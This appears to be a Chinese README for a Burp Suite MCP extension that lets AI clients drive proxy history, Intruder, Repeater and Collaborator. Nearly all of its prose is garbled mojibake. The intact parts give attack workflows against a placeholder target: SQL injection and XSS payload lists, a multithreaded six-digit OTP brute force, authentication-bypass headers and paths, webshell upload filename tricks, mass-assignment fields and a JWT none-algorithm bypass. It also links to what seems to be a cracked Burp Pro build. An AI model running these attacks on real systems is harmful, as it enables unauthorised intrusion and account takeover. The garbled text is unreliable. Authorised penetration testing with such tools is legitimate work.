閫傜敤鍦烘櫙锛歐eb 娓楅€忔祴璇曚腑闇€瑕?AI 杈呭姪鍒嗘瀽娴侀噺銆佽嚜鍔ㄥ寲鏀诲嚮銆佺敓鎴愭姤鍛?
姒傝堪
BurpSuite MCP 灏?Burp Suite 鐨勬墍鏈夋牳蹇冨姛鑳芥毚闇茬粰 AI 瀹㈡埛绔紙Kiro/Claude/Cursor锛夛紝瀹炵幇锛?
- AI 鑷姩璇诲彇浠g悊鍘嗗彶锛屽垎鏋愯姹備腑鐨勬紡娲?
- AI 鑷姩鏋勯€犳敾鍑?payload 骞堕€氳繃 Intruder 鏋氫妇
- AI 鑷姩灏嗗彲鐤戣姹傚彂鍒?Repeater 楠岃瘉
- AI 鑷姩鐢熸垚娓楅€忔祴璇曟姤鍛?
瀹夎
鍓嶇疆鏉′欢
- BurpSuite Professional锛堢ぞ鍖虹増鍔熻兘鍙楅檺锛?
- 涓嬭浇鍦板潃锛歨ttps://www.52pojie.cn/thread-2005151-1-1.html 锛堟眽鍖栦竴閿惎鍔ㄧ増锛?
瀹夎 MCP 鎵╁睍
*鏂规硶 A锛氫娇鐢ㄦ湰椤圭洰鑷甫鎵╁睍锛堟帹鑽愶紝63 涓伐鍏峰叏瑕嗙洊锛?
Windows:
1. 鎵撳紑 Burp Suite Pro
2. Extensions 鈫?Installed 鈫?Add
3. Extension Type: Java
4. Select file: <SKILL_ROOT>\burp-mcp-full\build\libs\burp-mcp-full.jar
5. 鐪嬪埌 [MCP] Server started on http://127.0.0.1:9876 鍗虫垚鍔?Linux / Kali / macOS:
1. 鍏堢紪璇? cd <SKILL_ROOT>/burp-mcp-full && chmod +x build.sh && ./build.sh
2. 鎵撳紑 Burp Suite Pro
3. Extensions 鈫?Installed 鈫?Add 鈫?Java
4. Select: <SKILL_ROOT>/burp-mcp-full/build/libs/burp-mcp-full.jar
5. 鐪嬪埌 [MCP] Server started 鍗虫垚鍔?鏂规硶 B锛氫娇鐢?PortSwigger 瀹樻柟鎵╁睍锛?1 涓伐鍏凤級
1. Extensions 鈫?BApp Store 鈫?鎼滅储 "MCP Server" 鈫?Install
2. 鍘?MCP tab 鈫?Enable
3. 绔彛榛樿 9876Kiro MCP 閰嶇疆锛堝凡鑷姩鍐欏叆鐢ㄦ埛绾у埆锛?
{
"mcpServers": {
"burpsuite": {
"command": "node",
"args": ["<SKILL_ROOT>/burp-mcp-full/mcp-bridge.js"]
}
}
}閫傜敤浜庢墍鏈?MCP 瀹㈡埛绔紙Kiro / Claude Code / Cursor / Cline / Windsurf锛夈€?
璺ㄥ钩鍙?MCP 閰嶇疆
Windows:
{ "command": "node", "args": ["<SKILL_ROOT>\\burp-mcp-full\\mcp-bridge.js"] }Linux / Kali / macOS:
{ "command": "node", "args": ["<SKILL_ROOT>/burp-mcp-full/mcp-bridge.js"] }<SKILL_ROOT> 鏇挎崲涓烘湰鍖呯殑瀹為檯瀹夎璺緞銆侫I 璇诲彇 RULES.md 鏃朵細鑷姩妫€娴嬪苟鏇挎崲銆?鐜鍙橀噺锛堝彲閫夛級
| 鍙橀噺 | 榛樿鍊? | 璇存槑 |
|---|---|---|
BURP_MCP_HOST | 127.0.0.1 | Burp HTTP API 鍦板潃 |
BURP_MCP_PORT | 9876 | Burp HTTP API 绔彛 |
濡傛灉 Burp 璺戝湪杩滅▼鏈哄櫒鎴栦笉鍚岀鍙o紝璁剧疆杩欎袱涓幆澧冨彉閲忓嵆鍙€?
閲嶈锛氬崗璁鏄?
鏈墿灞曢€氳繃 *stdio MCP 妗ユ帴鍣?锛坄mcp-bridge.js`锛夊疄鐜版爣鍑?MCP JSON-RPC 2.0 鍗忚锛?
- Burp 鎵╁睍鐩戝惉
127.0.0.1:9876锛堣嚜瀹氫箟 HTTP API锛? mcp-bridge.js灏嗘爣鍑?MCP stdio 鍗忚杞彂鍒?HTTP API- 鎵€鏈?MCP 瀹㈡埛绔€氳繃 stdio 涓庢ˉ鎺ュ櫒閫氫俊
鍓嶆彁锛欱urp Suite 蹇呴』鍦ㄨ繍琛屼笖鎵╁睍宸插姞杞姐€?
*鍋ュ悍妫€鏌?锛歚GET http://127.0.0.1:9876/health **宸ュ叿鍒楄〃**锛歚GET http://127.0.0.1:9876/tools
浣跨敤鍦烘櫙涓庡伐浣滄祦
鍦烘櫙 1锛欰I 杈呭姪娴侀噺鍒嗘瀽锛堟渶甯哥敤锛?
浣曟椂浣跨敤锛氭祻瑙堝櫒鎸?Burp 浠g悊娴忚鐩爣缃戠珯鍚庯紝璁?AI 鍒嗘瀽鎵€鏈夋崟鑾风殑娴侀噺
*宸ヤ綔娴?锛?
1. 娴忚鍣ㄨ缃?Burp 浠g悊 (127.0.0.1:8080)
2. 姝e父娴忚鐩爣缃戠珯锛堢櫥褰曘€佹搷浣滃姛鑳斤級
3. 鍛婅瘔 AI锛?鍒嗘瀽 Burp 浠g悊鍘嗗彶涓殑鎵€鏈夎姹傦紝鎵惧嚭瀹夊叏闂"
4. AI 璋冪敤 proxy_history 鈫?鑾峰彇鎵€鏈夎姹?
5. AI 璋冪敤 proxy_detail 鈫?鏌ョ湅鍙枒璇锋眰鐨勫畬鏁村唴瀹?
6. AI 璋冪敤 search_history 鈫?鐢ㄦ鍒欐悳绱㈡晱鎰熶俊鎭?
7. AI 杈撳嚭鍙戠幇鐨勬紡娲炲垪琛?绀轰緥 Prompt锛?
鍒嗘瀽鎴?Burp 浠g悊鍘嗗彶涓?{target_domain} 鐨勬墍鏈夎姹傘€?
鎸?OWASP Top 10 鍒嗙被锛屾壘鍑烘綔鍦ㄦ紡娲炪€?
瀵瑰彲鐤戠鐐癸紝鍙戝埌 Repeater 璁╂垜鎵嬪姩楠岃瘉銆?鍦烘櫙 2锛氳嚜鍔ㄥ寲鏋氫妇鏀诲嚮锛圛ntruder锛?
浣曟椂浣跨敤锛氶渶瑕佸鍙傛暟鍋氭毚鍔涙灇涓撅紙楠岃瘉鐮併€両D銆佽矾寰勭瓑锛?
*宸ヤ綔娴?锛?
1. AI 璋冪敤 intruder_attack_async 鈫?澶氱嚎绋嬫暟瀛楄寖鍥存灇涓?
2. 鎴?intruder_attack_wordlist 鈫?瀛楀吀鏀诲嚮
3. 鎴?intruder_cluster_bomb 鈫?澶氬弬鏁扮瑳鍗″皵绉?
4. 閫氳繃 success_length_not 鍙傛暟鑷姩璇嗗埆鎴愬姛鍝嶅簲
5. AI 鎶ュ憡鍛戒腑缁撴灉绀轰緥璋冪敤锛?
{
"tool": "intruder_attack_async",
"params": {
"url_template": "https://target.com/api/verify?code=@@",
"method": "POST",
"from": 0,
"to": 999999,
"pad_digits": 6,
"threads": 50,
"success_length_not": 176
}
}鍦烘櫙 3锛歄OB 婕忔礊妫€娴嬶紙Collaborator锛?
浣曟椂浣跨敤锛氭祴璇?SSRF銆乆XE銆佺洸娉ㄧ瓑闇€瑕佸甯︽暟鎹殑婕忔礊
*宸ヤ綔娴?锛?
1. AI 璋冪敤 collaborator_generate 鈫?鐢熸垚 payload
2. AI 灏?payload 娉ㄥ叆鍒拌姹備腑鍙戦€?
3. 绛夊緟鍑犵
4. AI 璋冪敤 collaborator_poll 鈫?妫€鏌ユ槸鍚︽湁鍥炶繛
5. 鏈夊洖杩?= 婕忔礊纭鍦烘櫙 4锛氳姹備慨鏀逛笌閲嶆斁锛圧epeater锛?
浣曟椂浣跨敤锛氶渶瑕佷慨鏀硅姹傚弬鏁伴獙璇佹紡娲?
*宸ヤ綔娴?锛?
1. AI 璋冪敤 proxy_detail 鈫?鑾峰彇鍘熷璇锋眰
2. AI 璋冪敤 repeater_modify_send 鈫?淇敼 header/body 鍚庨噸鍙?
3. 鍒嗘瀽鍝嶅簲宸紓
4. 纭婕忔礊鍦烘櫙 5锛氳嚜鍔ㄥ寲 DAST 鎵弿
浣曟椂浣跨敤锛氬鐩爣鍋氬叏闈㈡紡娲炴壂鎻?
*宸ヤ綔娴?锛?
1. AI 璋冪敤 add_to_scope 鈫?娣诲姞鐩爣鍒拌寖鍥?
2. AI 璋冪敤 crawl 鈫?瑙﹀彂鐖櫕
3. 绛夊緟鎵弿瀹屾垚
4. AI 璋冪敤 scan_results 鈫?鑾峰彇鍙戠幇鐨勬紡娲?
5. AI 璋冪敤 scan_issue_detail 鈫?鑾峰彇婕忔礊璇︽儏
6. AI 鐢熸垚鎶ュ憡鍦烘櫙 6锛氭祦閲忚嚜鍔ㄤ慨鏀癸紙HTTP Handler锛?
浣曟椂浣跨敤锛氶渶瑕佽嚜鍔ㄧ粰鎵€鏈夎姹傚姞 header銆佹浛鎹㈠唴瀹?
*宸ヤ綔娴?锛?
1. AI 璋冪敤 register_http_handler 鈫?娉ㄥ唽鑷姩淇敼瑙勫垯
- 鑷姩娣诲姞璁よ瘉 header
- 鑷姩鏇挎崲璇锋眰涓殑鏌愪簺鍊?
2. 鎵€鏈夌粡杩?Burp 鐨勮姹傝嚜鍔ㄨ淇敼
3. 瀹屾垚鍚庤皟鐢?remove_http_handler 娓呴櫎瑙勫垯鍦烘櫙 7锛欳ookie/Session 鍒嗘瀽
浣曟椂浣跨敤锛氬垎鏋?session token 鐨勯殢鏈烘€у拰瀹夊叏鎬?
*宸ヤ綔娴?锛?
1. AI 璋冪敤 cookie_jar 鈫?鑾峰彇鎵€鏈?cookie
2. AI 璋冪敤 token_analysis 鈫?鍒嗘瀽 token 鐔靛€?
3. AI 璋冪敤 sequencer 鈫?鎵归噺鍒嗘瀽 token 闅忔満鎬?
4. 鍒ゆ柇 session 鏄惁鍙娴?瀹屾暣宸ュ叿鍒楄〃锛?3 涓級
Proxy 妯″潡
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
proxy_history | limit, offset, url_filter, method_filter, status_filter | 鑾峰彇浠g悊鍘嗗彶 |
proxy_detail | index | 鑾峰彇鎸囧畾鏉$洰瀹屾暣璇锋眰/鍝嶅簲 |
proxy_websocket | limit | WebSocket 娑堟伅鍘嗗彶 |
proxy_history_filtered | has_notes, color, limit | 鎸夋敞瑙?棰滆壊杩囨护 |
proxy_listeners | 鈥? | 鐩戝惉鍣ㄤ俊鎭? |
proxy_match_replace | 鈥? | 鍖归厤鏇挎崲瑙勫垯绠$悊 |
proxy_clear | 鈥? | 娓呯┖鍘嗗彶 |
HTTP 璇锋眰
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
send_request | method, url, body, headers | 閫氳繃 Burp 鍙戣姹? |
repeater_send | request, host, port, https | 鍙戦€佸苟鑾峰彇鍝嶅簲 |
repeater_modify_send | request, host, replace_header, add_header, replace_body | 淇敼鍚庨噸鍙? |
send_to_repeater | request, tab_name | 鍙戝埌 Repeater tab |
Intruder 鏀诲嚮
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
send_to_intruder | request | 鍙戝埌 Intruder |
intruder_attack | url_template, from, to, pad_digits, method, success_length_not | 鏁板瓧鏋氫妇锛堝悓姝ワ級 |
intruder_attack_async | 鍚屼笂 + threads | 澶氱嚎绋嬪苟鍙戞灇涓? |
intruder_attack_wordlist | url_template, wordlist, method | 瀛楀吀鏀诲嚮 |
intruder_pitchfork | url_template, placeholders, method | 澶氬弬鏁板苟琛? |
intruder_cluster_bomb | url_template, placeholders, max_requests | 绗涘崱灏旂Н |
intruder_battering_ram | url_template, wordlist, placeholder | 鍚?payload 濉墍鏈変綅缃? |
intruder_with_options | 鍚屼笂 + throttle_ms, payload_encoding, grep_extract, record_time | 楂樼骇閫夐」 |
Scanner
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
scan | url | 鎵弿寮曞 |
scan_active | request, host, port | 涓诲姩鎵弿鎸囧畾璇锋眰 |
scan_results | limit | 鑾峰彇婕忔礊鍒楄〃 |
scan_issue_detail | index | 婕忔礊璇︽儏 |
crawl | url | 鐖櫕 |
Scope
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
get_scope | url | 鏌ヨ鏄惁鍦ㄨ寖鍥村唴 |
add_to_scope | url | 娣诲姞 |
remove_from_scope | url | 绉婚櫎 |
Collaborator
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
collaborator_generate | count | 鐢熸垚 OOB payload |
collaborator_poll | 鈥? | 杞浜や簰 |
缂栫爜/宸ュ叿
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
encode | input, type(base64/url/hex) | 缂栫爜 |
decode | input, type | 瑙g爜 |
payload_process | input, operation | 楂樼骇澶勭悊(md5/sha1/sha256/reverse绛? |
convert_request | request, convert_to | 杞崲璇锋眰鏂规硶 |
export_request | request, host, format(curl/python) | 瀵煎嚭涓轰唬鐮? |
generate_csrf_poc | request, host | 鐢熸垚 CSRF PoC |
extract_from_response | index, regex | 姝e垯鎻愬彇鍝嶅簲鍐呭 |
鎼滅储/鏍囨敞
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
search_history | regex, search_in(url/request/response), limit | 姝e垯鎼滅储 |
highlight | index, color | 棰滆壊鏍囪 |
annotate | index, note | 娣诲姞娉ㄩ噴 |
compare | index1, index2 | 鍝嶅簲瀵规瘮 |
閰嶇疆
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
export_config | 鈥? | 瀵煎嚭椤圭洰閰嶇疆 |
import_config | config | 瀵煎叆閰嶇疆 |
set_upstream_proxy | proxy_host, proxy_port, type | 璁剧疆涓婃父浠g悊 |
set_dns_override | hostname, ip | DNS 瑕嗙洊 |
set_http2 | enable | HTTP/2 寮€鍏? |
Handler锛堣嚜鍔ㄤ慨鏀癸級
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
register_http_handler | header_name, header_value 鎴?match, replace | 娉ㄥ唽鑷姩淇敼瑙勫垯 |
remove_http_handler | 鈥? | 娓呴櫎瑙勫垯 |
register_proxy_rule | url_contains | 娉ㄥ唽鎷︽埅瑙勫垯 |
remove_proxy_rule | 鈥? | 娓呴櫎瑙勫垯 |
鍒嗘瀽
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
cookie_jar | limit, domain | Cookie 绠$悊 |
token_analysis | tokens(array) | Token 鐔靛€煎垎鏋? |
sequencer | tokens(array) | 搴忓垪闅忔満鎬у垎鏋? |
target_info | url | 鐩爣鎶€鏈爤璇嗗埆 |
绯荤粺
| 宸ュ叿 | 鍙傛暟 | 璇存槑 |
|---|---|---|
burp_version | 鈥? | Burp 鐗堟湰淇℃伅 |
add_issue | name, url, detail, severity | 鎵嬪姩娣诲姞婕忔礊 |
extensions_list | 鈥? | 鎵╁睍淇℃伅 |
export_cert | 鈥? | CA 璇佷功瀵煎嚭鎸囧紩 |
websocket_send | 鈥? | WebSocket 鍙戦€佹寚寮? |
save_project | 鈥? | 淇濆瓨椤圭洰 |
log | message, level | 鍐欐棩蹇? |
AI 娓楅€忔祴璇曟渶浣冲疄璺?Prompt
鍏ㄩ潰鍒嗘瀽 Prompt
浣犳槸涓€鍚嶉珮绾ф笚閫忔祴璇曞伐绋嬪笀銆傝鍒嗘瀽 Burp 浠g悊鍘嗗彶涓殑鎵€鏈夎姹傦細
1. 鎸?OWASP Top 10 鍒嗙被娼滃湪婕忔礊
2. 瀵规瘡涓彂鐜扮粰鍑洪闄╃瓑绾у拰鍒╃敤鏂规硶
3. 灏嗛珮椋庨櫓璇锋眰鍙戝埌 Repeater
4. 涓嶈鍙戦€佺牬鍧忔€ц姹?
5. 鐢熸垚缁撴瀯鍖栨姤鍛?瀹氬悜鏀诲嚮 Prompt
鐩爣锛歨ttps://target.com/api/
1. 鎼滅储浠g悊鍘嗗彶涓墍鏈?API 绔偣
2. 璇嗗埆璁よ瘉/鎺堟潈闂
3. 娴嬭瘯 IDOR锛堜慨鏀?ID 鍙傛暟锛?
4. 娴嬭瘯 Mass Assignment锛堟坊鍔犻澶栧瓧娈碉級
5. 鎶ュ憡鎵€鏈夊彂鐜?楠岃瘉鐮佺垎鐮?Prompt
浣跨敤 intruder_attack_async 瀵逛互涓嬬鐐硅繘琛?6 浣嶆暟瀛楅獙璇佺爜鏋氫妇锛?
URL: https://target.com/api/verify?code=@@
鏂规硶: POST
鑼冨洿: 000000-999999
绾跨▼: 50
鎴愬姛鍒ゆ柇: 鍝嶅簲闀垮害涓嶇瓑浜?176涓庢妧鑳借矾鐢辩殑闆嗘垚
瑙﹀彂鏉′欢
褰撶敤鎴锋彁鍒颁互涓嬪叧閿瘝鏃讹紝鑷姩浣跨敤 BurpSuite MCP锛?
- "Burp 鍒嗘瀽"銆?浠g悊鍘嗗彶"銆?鎶撳寘鍒嗘瀽"
- "Intruder 鐖嗙牬"銆?鏋氫妇鏀诲嚮"
- "Repeater 閲嶆斁"銆?淇敼璇锋眰"
- "Collaborator"銆?OOB 娴嬭瘯"
- "DAST 鎵弿"銆?涓诲姩鎵弿"
鍓嶇疆妫€鏌?
1. 纭 Burp 鏄惁鍦ㄨ繍琛岋細GET http://127.0.0.1:9876/health 2. 濡傛灉涓嶅湪绾?鈫?鎻愮ず鐢ㄦ埛鍚姩 Burp 3. 濡傛灉鏈畨瑁?鈫?鎻愪緵涓嬭浇閾炬帴鍜屽畨瑁呮楠?
涓庡叾浠?skill 鐨勯厤鍚?
js-reverse鍙戠幇鍔犲瘑閫昏緫 鈫?Burp MCP 鍙戦€佽В瀵嗗悗鐨勮姹?pentest-toolsNmap 鍙戠幇 Web 鏈嶅姟 鈫?Burp MCP 鍋氭繁搴︽祴璇?browser-automation鑷姩鍖栨祻瑙?鈫?Burp 鎹曡幏娴侀噺 鈫?AI 鍒嗘瀽
---
瀹炴垬妗堜緥闆嗭紙12 涓満鏅級
妗堜緥 1锛欼DOR 婕忔礊鑷姩鍙戠幇
鍦烘櫙锛氱洰鏍囩綉绔欐湁鐢ㄦ埛璧勬枡鎺ュ彛 /api/user/123锛屾€€鐤戝瓨鍦ㄨ秺鏉?
AI 鎿嶄綔娴佺▼锛?
1. proxy_history 鈫?杩囨护鍖呭惈 /api/user/ 鐨勮姹?
2. proxy_detail 鈫?鑾峰彇鍘熷璇锋眰
3. repeater_modify_send 鈫?淇敼 ID 鍙傛暟锛?23鈫?24鈫?25锛?
4. compare 鈫?瀵规瘮涓嶅悓 ID 鐨勫搷搴?
5. 濡傛灉鑳界湅鍒板叾浠栫敤鎴锋暟鎹?鈫?纭 IDORPrompt 绀轰緥锛?
浠?Burp 浠g悊鍘嗗彶涓壘鍒版墍鏈夊寘鍚敤鎴?ID 鐨?API 璇锋眰銆?
閫愪釜淇敼 ID 鍙傛暟锛?1, -1, 0, 99999锛夛紝瀵规瘮鍝嶅簲銆?
濡傛灉鑳借幏鍙栧叾浠栫敤鎴锋暟鎹紝鏍囪涓?IDOR 婕忔礊銆?---
妗堜緥 2锛欽WT Token 瀹夊叏鍒嗘瀽
鍦烘櫙锛氱洰鏍囦娇鐢?JWT 璁よ瘉锛岄渶瑕佸垎鏋?token 瀹夊叏鎬?
AI 鎿嶄綔娴佺▼锛?
1. search_history 鈫?鎼滅储 "Authorization: Bearer" 鎴?"token"
2. extract_from_response 鈫?鎻愬彇鎵€鏈?JWT token
3. decode 鈫?Base64 瑙g爜 JWT header 鍜?payload
4. token_analysis 鈫?鍒嗘瀽 token 鐔靛€?
5. 妫€鏌ョ畻娉曪紙none/HS256 寮卞瘑閽?RS256鈫扝S256 娣锋穯锛?Prompt 绀轰緥锛?
鎼滅储浠g悊鍘嗗彶涓墍鏈?JWT token銆?
瑙g爜鍒嗘瀽锛氱畻娉曟槸鍚﹀畨鍏紵鏄惁鏈夋晱鎰熶俊鎭硠闇诧紵
灏濊瘯 none 绠楁硶缁曡繃鍜屽急瀵嗛挜鐖嗙牬銆?---
妗堜緥 3锛欰PI 绔偣鍏ㄩ潰鍙戠幇涓庢祴璇?
鍦烘櫙锛氶粦鐩掓祴璇曚竴涓?SPA 搴旂敤锛岄渶瑕佸彂鐜版墍鏈?API 绔偣
AI 鎿嶄綔娴佺▼锛?
1. 鐢ㄦ埛娴忚鍣ㄦ寕 Burp 浠g悊姝e父浣跨敤缃戠珯
2. proxy_history 鈫?鑾峰彇鎵€鏈夎姹?
3. search_history 鈫?姝e垯鎻愬彇 /api/ 寮€澶寸殑璺緞
4. 瀵规瘡涓鐐癸細
- send_request 鈫?娴嬭瘯鏈巿鏉冭闂?
- repeater_modify_send 鈫?淇敼 HTTP 鏂规硶锛圙ET鈫扨UT/DELETE锛?
- intruder_attack_wordlist 鈫?鍙傛暟妯$硦娴嬭瘯
5. 姹囨€绘墍鏈夊彂鐜?Prompt 绀轰緥锛?
鍒嗘瀽 Burp 浠g悊鍘嗗彶锛屾彁鍙栨墍鏈?API 绔偣銆?
瀵规瘡涓鐐规祴璇曪細
1. 鍘绘帀璁よ瘉 header 鐪嬫槸鍚﹁兘璁块棶锛堟湭鎺堟潈锛?
2. 鎹?HTTP 鏂规硶锛圙ET鈫扨OST鈫扨UT鈫扗ELETE锛?
3. 娣诲姞 admin=true / role=admin 鍙傛暟
鎶ュ憡鎵€鏈夊紓甯稿搷搴斻€?---
妗堜緥 4锛歋SRF 婕忔礊妫€娴嬶紙閰嶅悎 Collaborator锛?
鍦烘櫙锛氱洰鏍囨湁 URL 鍙傛暟锛堝澶村儚涓婁紶銆亀ebhook 閰嶇疆锛夛紝鎬€鐤?SSRF
AI 鎿嶄綔娴佺▼锛?
1. collaborator_generate 鈫?鐢熸垚 5 涓?OOB payload
2. search_history 鈫?鎵惧埌鍖呭惈 URL 鍙傛暟鐨勮姹?
3. repeater_modify_send 鈫?灏?URL 鍙傛暟鏇挎崲涓?Collaborator payload
4. 绛夊緟 10 绉?
5. collaborator_poll 鈫?妫€鏌ユ槸鍚︽湁 DNS/HTTP 鍥炶繛
6. 鏈夊洖杩?= SSRF 纭Prompt 绀轰緥锛?
鐢熸垚 Collaborator payload銆?
鎵惧埌浠g悊鍘嗗彶涓墍鏈夊寘鍚?url=銆乺edirect=銆乧allback=銆亀ebhook= 鍙傛暟鐨勮姹傘€?
閫愪釜鏇挎崲涓?Collaborator payload 骞跺彂閫併€?
10 绉掑悗妫€鏌ユ槸鍚︽湁鍥炶繛銆?---
妗堜緥 5锛歋QL 娉ㄥ叆妫€娴?
鍦烘櫙锛氱洰鏍囨湁鎼滅储/杩囨护鍔熻兘锛屾€€鐤?SQL 娉ㄥ叆
AI 鎿嶄綔娴佺▼锛?
1. search_history 鈫?鎵惧埌甯﹀弬鏁扮殑 GET/POST 璇锋眰
2. intruder_attack_wordlist 鈫?鐢?SQLi payload 鍒楄〃娴嬭瘯
wordlist: ["'", "' OR '1'='1", "1 UNION SELECT NULL--", "' AND SLEEP(5)--"]
3. 瀵规瘮鍝嶅簲闀垮害鍜屾椂闂?
4. 鏃堕棿鐩叉敞锛歩ntruder_with_options 鈫?record_time=true
5. 鍝嶅簲鏃堕棿 >5s 鐨?= 鍙兘瀛樺湪鏃堕棿鐩叉敞Prompt 绀轰緥锛?
鎵惧埌浠g悊鍘嗗彶涓墍鏈夊甫鏌ヨ鍙傛暟鐨勮姹傘€?
瀵规瘡涓弬鏁扮敤浠ヤ笅 payload 娴嬭瘯 SQL 娉ㄥ叆锛?
- 鍗曞紩鍙锋姤閿?
- OR 1=1 甯冨皵鐩叉敞
- SLEEP(5) 鏃堕棿鐩叉敞
- UNION SELECT 鑱斿悎鏌ヨ
璁板綍鍝嶅簲鏃堕棿锛岃秴杩?5 绉掔殑鏍囪涓虹枒浼兼椂闂寸洸娉ㄣ€?---
妗堜緥 6锛歑SS 婕忔礊妫€娴嬩笌楠岃瘉
鍦烘櫙锛氱洰鏍囨湁鐢ㄦ埛杈撳叆鐐癸紙鎼滅储妗嗐€佽瘎璁恒€佷釜浜鸿祫鏂欙級锛屾祴璇?XSS
AI 鎿嶄綔娴佺▼锛?
1. search_history 鈫?鎵惧埌鎵€鏈?POST 璇锋眰锛堣〃鍗曟彁浜わ級
2. intruder_attack_wordlist 鈫?鐢?XSS payload 鍒楄〃
wordlist: ["<script>alert(1)</script>", "<img src=x onerror=alert(1)>", "{{7*7}}"]
3. extract_from_response 鈫?妫€鏌?payload 鏄惁鍦ㄥ搷搴斾腑鍘熸牱鍙嶅皠
4. 濡傛灉鍙嶅皠 鈫?纭鍙嶅皠鍨?XSS
5. 鍐嶆璁块棶椤甸潰妫€鏌ユ槸鍚︽寔涔呭寲 鈫?瀛樺偍鍨?XSS---
妗堜緥 7锛氳璇佺粫杩囨祴璇?
鍦烘櫙锛氱洰鏍囨湁绠$悊鍚庡彴锛屾祴璇曡璇佹槸鍚﹀彲缁曡繃
AI 鎿嶄綔娴佺▼锛?
1. proxy_history 鈫?鎵惧埌绠$悊绔?API 璇锋眰
2. repeater_modify_send 鈫?鍘绘帀 Cookie/Token header 閲嶅彂
3. repeater_modify_send 鈫?鐢ㄦ櫘閫氱敤鎴?token 鏇挎崲绠$悊鍛?token
4. repeater_modify_send 鈫?娣诲姞 X-Forwarded-For: 127.0.0.1
5. convert_request 鈫?鏀?HTTP 鏂规硶缁曡繃
6. 瀵规瘮鍝嶅簲锛氬鏋滆繑鍥?200 鑰岄潪 401/403 鈫?璁よ瘉缁曡繃Prompt 绀轰緥锛?
鎵惧埌浠g悊鍘嗗彶涓墍鏈夎繑鍥?403 鐨勭鐞嗙璇锋眰銆?
瀵规瘡涓姹傚皾璇曚互涓嬬粫杩囷細
1. 鍘绘帀璁よ瘉 header
2. 娣诲姞 X-Forwarded-For: 127.0.0.1
3. 娣诲姞 X-Original-URL 鎴?X-Rewrite-URL
4. 鏀?HTTP 鏂规硶锛圙ET鈫扨OST, POST鈫扨UT锛?
5. 璺緞澶у皬鍐欏彉鎹紙/Admin 鈫?/admin 鈫?/ADMIN锛?
6. 璺緞娣诲姞 ..;/ 鎴?%2e%2e/
鎶ュ憡鎵€鏈夎繑鍥為潪 403 鐨勫皾璇曘€?---
妗堜緥 8锛氭枃浠朵笂浼犳紡娲炴祴璇?
鍦烘櫙锛氱洰鏍囨湁鏂囦欢涓婁紶鍔熻兘锛屾祴璇曟槸鍚﹀彲涓婁紶 WebShell
AI 鎿嶄綔娴佺▼锛?
1. search_history 鈫?鎵惧埌鏂囦欢涓婁紶璇锋眰锛坢ultipart/form-data锛?
2. proxy_detail 鈫?鑾峰彇鍘熷涓婁紶璇锋眰
3. repeater_modify_send 鈫?淇敼鏂囦欢鍚嶅拰 Content-Type锛?
- test.php / test.jsp / test.aspx
- Content-Type: image/png锛堢粫杩?MIME 妫€鏌ワ級
- 鍙屾墿灞曞悕锛歵est.php.jpg
- 绌哄瓧鑺傦細test.php%00.jpg
4. 妫€鏌ュ搷搴斾腑鏄惁杩斿洖涓婁紶璺緞
5. send_request 鈫?璁块棶涓婁紶璺緞楠岃瘉鏄惁鎵ц---
妗堜緥 9锛歁ass Assignment 鑷姩妫€娴?
鍦烘櫙锛氱洰鏍囦娇鐢?REST API锛屾祴璇曟槸鍚﹀瓨鍦ㄦ壒閲忚祴鍊兼紡娲?
AI 鎿嶄綔娴佺▼锛?
1. search_history 鈫?鎵惧埌鎵€鏈?PUT/PATCH 璇锋眰
2. proxy_detail 鈫?鑾峰彇璇锋眰 body 缁撴瀯
3. repeater_modify_send 鈫?鍦?body 涓坊鍔犻澶栧瓧娈碉細
- "role": "admin"
- "isAdmin": true
- "price": 0
- "verified": true
4. send_request 鈫?GET 鐢ㄦ埛淇℃伅楠岃瘉瀛楁鏄惁琚慨鏀?Prompt 绀轰緥锛?
鎵惧埌浠g悊鍘嗗彶涓墍鏈?PUT/PATCH 璇锋眰銆?
瀵规瘡涓姹傜殑 JSON body 娣诲姞浠ヤ笅瀛楁鍚庨噸鍙戯細
- role: admin
- isAdmin: true
- status: active
- balance: 99999
鐒跺悗 GET 瀵瑰簲璧勬簮妫€鏌ュ瓧娈垫槸鍚﹁淇敼銆?---
妗堜緥 10锛氶獙璇佺爜/OTP 鏆村姏鐮磋В
鍦烘櫙锛氱洰鏍囨湁楠岃瘉鐮侀獙璇佹帴鍙o紝娴嬭瘯鏄惁鏈夐€熺巼闄愬埗
AI 鎿嶄綔娴佺▼锛?
1. search_history 鈫?鎵惧埌楠岃瘉鐮侀獙璇佽姹?
2. intruder_attack_async 鈫?澶氱嚎绋嬫灇涓?
- url_template: https://target.com/api/verify?code=@@
- from: 0, to: 999999, pad_digits: 6
- threads: 50
- success_length_not: <澶辫触鍝嶅簲闀垮害>
3. 濡傛灉娌℃湁琚檺閫?鈫?婕忔礊纭
4. 濡傛灉鍛戒腑 鈫?鑾峰彇鏈夋晥楠岃瘉鐮?---
妗堜緥 11锛欳ORS 閰嶇疆閿欒鍒╃敤
鍦烘櫙锛氭祴璇曠洰鏍囩殑 CORS 閰嶇疆鏄惁鍏佽浠绘剰鏉ユ簮
AI 鎿嶄綔娴佺▼锛?
1. proxy_detail 鈫?鑾峰彇涓€涓璇佸悗鐨?API 璇锋眰
2. repeater_modify_send 鈫?娣诲姞 Origin: https://evil.com
3. extract_from_response 鈫?妫€鏌?Access-Control-Allow-Origin
4. 濡傛灉杩斿洖 evil.com 鎴?* 鈫?CORS 閰嶇疆閿欒
5. generate_csrf_poc 鈫?鐢熸垚鍒╃敤 PoC---
妗堜緥 12锛氬畬鏁存笚閫忔祴璇曡嚜鍔ㄥ寲娴佺▼
鍦烘櫙锛氬涓€涓柊鐩爣鍋氬畬鏁寸殑 Web 娓楅€忔祴璇?
AI 瀹屾暣鎿嶄綔娴佺▼锛?
Phase 1: 淇℃伅鏀堕泦
1. add_to_scope 鈫?娣诲姞鐩爣
2. crawl 鈫?鐖彇绔欑偣
3. proxy_history 鈫?鑾峰彇鎵€鏈夊彂鐜扮殑椤甸潰
